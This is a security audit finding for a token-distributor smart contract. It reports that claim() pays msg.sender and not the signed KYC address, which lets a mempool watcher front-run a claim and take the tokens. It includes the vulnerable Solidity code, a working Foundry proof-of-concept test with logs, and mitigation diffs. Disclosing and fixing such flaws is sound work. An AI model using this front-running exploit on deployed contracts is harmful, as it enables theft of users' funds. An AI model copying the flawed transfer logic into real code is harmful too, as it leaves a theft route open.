Fancy Fern Trout

High

# Attacker can steal tokens intended for KYC-verified address

### Summary

A missing validation of `msg.sender` in [claim()](https://github.com/sherlock-audit/2024-11-vvv-exchange-update/blob/main/vvv-platform-smart-contracts/contracts/vc/VVVVCTokenDistributor.sol#L106) will cause a loss of rewards intended for `kycAddress`, because an attacker can frontrun the transaction, using the same signature.

### Root Cause

The [claim()](https://github.com/sherlock-audit/2024-11-vvv-exchange-update/blob/main/vvv-platform-smart-contracts/contracts/vc/VVVVCTokenDistributor.sol#L106) function validates input parameters using a signature, but has a critical flaw in its token transfer logic. While the signature verifies the parameters are correct, the function sends tokens to `msg.sender` rather than the intended `_params.kycAddress`. Since `msg.sender` is not part of the signed data and isn't validated against `kycAddress`, this allows tokens to be sent to an unverified address that wasn't part of the original signed parameters.

```solidity
    function claim(ClaimParams memory _params) public {
        if (claimIsPaused) {
            revert ClaimIsPaused();
        }

        if (_params.projectTokenProxyWallets.length != _params.tokenAmountsToClaim.length) {
            revert ArrayLengthMismatch();
        }

        if (_params.nonce <= nonces[_params.kycAddress]) {
            revert InvalidNonce();
        }

        if (!_isSignatureValid(_params)) {
            revert InvalidSignature();
        }

        // update nonce
        nonces[_params.kycAddress] = _params.nonce;

        // define token to transfer
        IERC20 projectToken = IERC20(_params.projectTokenAddress);

        // transfer tokens from each wallet to the caller
        for (uint256 i = 0; i < _params.projectTokenProxyWallets.length; i++) {
            projectToken.safeTransferFrom(
                _params.projectTokenProxyWallets[i],
@>                msg.sender,
                _params.tokenAmountsToClaim[i]
            );
        }

        emit VCClaim(
            _params.kycAddress,
            _params.projectTokenAddress,
            _params.projectTokenProxyWallets,
            _params.tokenAmountsToClaim,
            _params.nonce
        );
    }
```

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. The user generates the parameters and retrieves a signature from the centralized system.
2. The user creates a transaction.
3. The attacker monitoring the mempool can frontrun by sending another transaction with the same signature.

### Impact

The user will lose his share of tokens.

### PoC

```solidity
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {VVVVCTokenDistributorUnitTests} from "./VVVVCTokenDistributor.unit.t.sol";
import {VVVVCTokenDistributor} from "contracts/vc/VVVVCTokenDistributor.sol";
import {console} from "forge-std/console.sol";

contract PoC is VVVVCTokenDistributorUnitTests {
    function testPoC() public {
        address attacker = makeAddr("attacker");
        uint256 attackerBalance = ProjectTokenInstance.balanceOf(attacker);
        uint256 sampleKycAddressBalance = ProjectTokenInstance.balanceOf(sampleKycAddress);

        address[] memory thisProjectTokenProxyWallets = new address[](1);
        uint256[] memory thisTokenAmountsToClaim = new uint256[](1);

        thisProjectTokenProxyWallets[0] = projectTokenProxyWallets[0];

        uint256 claimAmount = sampleTokenAmountsToClaim[0];
        thisTokenAmountsToClaim[0] = claimAmount;

        VVVVCTokenDistributor.ClaimParams memory claimParams =
            generateClaimParamsWithSignature(sampleKycAddress, thisProjectTokenProxyWallets, thisTokenAmountsToClaim);
        
        console.log("Amount to be claimed: ", claimAmount);
        console.log("KYC Address' nonce in the Distributor: ", TokenDistributorInstance.nonces(sampleKycAddress));
        console.log("KYC Address' Balance: ", sampleKycAddressBalance);
        console.log("Attacker's Initial Balance: ", attackerBalance);

        console.log("-------Attacker claims with Kyc Address Signature-------");
        claimAsUser(attacker, claimParams);

        attackerBalance = ProjectTokenInstance.balanceOf(attacker);
        sampleKycAddressBalance = ProjectTokenInstance.balanceOf(sampleKycAddress);

        console.log("KYC Address' nonce in the Distributor: ", TokenDistributorInstance.nonces(sampleKycAddress));
        console.log("KYC Address' Balance: ", sampleKycAddressBalance);
        console.log("Attacker's Balance: ", attackerBalance);
        assertTrue(ProjectTokenInstance.balanceOf(attacker) == claimAmount);
        assertTrue(ProjectTokenInstance.balanceOf(sampleKycAddress) == 0);
    }
}
```
Logs:
```logs
  Amount to be claimed:  1111000000000000000000
  KYC Address' nonce in the Distributor:  0
  KYC Address' Balance:  0
  Attacker's Initial Balance:  0
  -------Attacker claims with Kyc Address Signature-------
  KYC Address' nonce in the Distributor:  1
  KYC Address' Balance:  0
  Attacker's Balance:  1111000000000000000000
```


### Mitigation

There are two solutions for the problem. 
1. Only the `kycAddress` could call claim.
```diff
   function claim(ClaimParams memory _params) public {
        if (claimIsPaused) {
            revert ClaimIsPaused();
        }
+       if(_params.kycAddress != msg.sender){
+           revert ...
+       }
       ...
```
2. Everyone can call `claim`, but the `kycAddress` will receive the funds
```diff
    function claim(ClaimParams memory _params) public {
         ...
        // transfer tokens from each wallet to the caller
        for (uint256 i = 0; i < _params.projectTokenProxyWallets.length; i++) {
            projectToken.safeTransferFrom(
                _params.projectTokenProxyWallets[i],
-               msg.sender
+               _params.kycAddress,
                _params.tokenAmountsToClaim[i]
            );
        }
       ...
```